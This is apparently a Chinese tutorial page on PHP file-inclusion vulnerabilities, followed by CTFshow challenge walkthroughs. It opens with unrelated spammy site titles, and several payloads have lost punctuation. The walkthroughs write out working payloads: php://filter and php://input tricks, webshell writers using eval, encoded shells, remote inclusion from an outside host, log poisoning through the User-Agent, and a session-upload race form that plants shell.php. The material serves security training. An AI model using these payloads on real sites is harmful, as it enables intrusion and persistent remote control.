陕西省住房和城乡建设厅综合网站,东莞网站建设制作公司排名,帮人恶意点击网站,开阳县城乡建设局网站演示案例#xff1a; 文件包含-原理分类利用修复黑盒利用-VULWEB-有无包含文件白盒利用-CTFSHOW-伪协议玩法 #文件包含-原理分类利用修复
1、原理
程序开发人员通常会把可重复使用的函数写到单个文件中#xff0c;在使用某些函数时#xff0c… 演示案例 文件包含-原理分类利用修复黑盒利用-VULWEB-有无包含文件白盒利用-CTFSHOW-伪协议玩法 #文件包含-原理分类利用修复
1、原理
程序开发人员通常会把可重复使用的函数写到单个文件中在使用某些函数时
直接调用此文件而无须再次编写这种调用文件的过程一般被称为文件包含。
在包含文件的过程中如果文件能进行控制则存储文件包含漏洞1.1、分类
本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI
差异原因代码过滤和环境配置文件开关决定2、白盒审计CTFSHOW
-白盒发现
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
PHPinclude、require、include_once、require_once等
include在包含的过程中如果出现错误会抛出一个警告程序继续正常运行
require函数出现错误的时候会直接报错并退出程序的执行
Javajava.io.File、java.io.FileReader等
ASP.NETSystem.IO.FileStream、System.IO.StreamReader等
3、黑盒分析
-黑盒发现主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼4、利用
本地利用思路
1、配合文件上传
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用
参考https://blog.csdn.net/unexpectedthing/article/details/121276653
-文件读取
file:///etc/passwd
php://filter/readconvert.base64-encode/resourcephpinfo.php
-文件写入
php://filter/writeconvert.base64-encode/resourcephpinfo.php
php://input POST:?php fputs(fopen(shell.php,w),?php eval($_GET[cmd]); ?); ?
-代码执行
php://input POST:?php phpinfo();?
data://text/plain,?php phpinfo();?
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
远程利用思路
直接搭建一个可访问的远程URL包含文件5、修复见网上参考方案#黑盒利用-VULWEB-有无包含文件
http://testphp.vulnweb.com/showimage.php?fileindex.php#白盒利用-CTFSHOW-伪协议玩法
https://ctf.show/challenges
78-phphttp协议
payload: ?filephp://filter/readconvert.base64-encode/resourceflag.php
payload: ?filephp://input post:?php system(tac flag.php);?
payload: ?filehttp://www.xiaodi8.com/1.txt 1.txt:?php system(tac flag.php);?79-datahttp协议
payload: ?filedata://text/plain,?system(tac flag.*);?
payload: ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg
payload: ?filehttp://www.xiaodi8.com/1.txt 1.txt:?php system(tac flag.php);?80 81-日志包含
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息UA带入代码
包含/var/log/nginx/access.log82-86-SESSION包含
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字条件竞争访问session文件触发创建新文件
!DOCTYPE html
html
body
form actionhttp://xxxx.ctf.show/ methodPOST enctypemultipart/form-datainput typehidden namePHP_SESSION_UPLOAD_PROGRESS value?php fputs(fopen(shell.php,w),?php eval($_POST[1])?? /input typefile namefile /input typesubmit valuesubmit /
/form
/body
/html
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html87-php://filter/write加密编码
1、利用base64:
url编码2次php://filter/writeconvert.base64-decode/resource123.php
contentaaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg
2、利用凯撒13
url编码2次php://filter/writestring.rot13/resource2.php
content?cuc riny($_CBFG[1]);?88-database64协议
过滤PHP各种符号php代码编码写出无符号base64值
Payloadfiledata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk117-php://filter/write新的算法
convert.iconv.一种过滤器和使用iconv()函数处理流数据有等同作用
?php
$result iconv(UCS-2LE,UCS-2BE, ?php eval($_POST[a]);?);
echo 经过一次反转:.$result.\n;
echo 经过第二次反转:.iconv(UCS-2LE,UCS-2BE, $result);
?
Payloadfilephp://filter/writeconvert.iconv.UCS-2LE.UCS-2BE/resourcea.php
contents?hp pvela$(P_SO[T]a;)?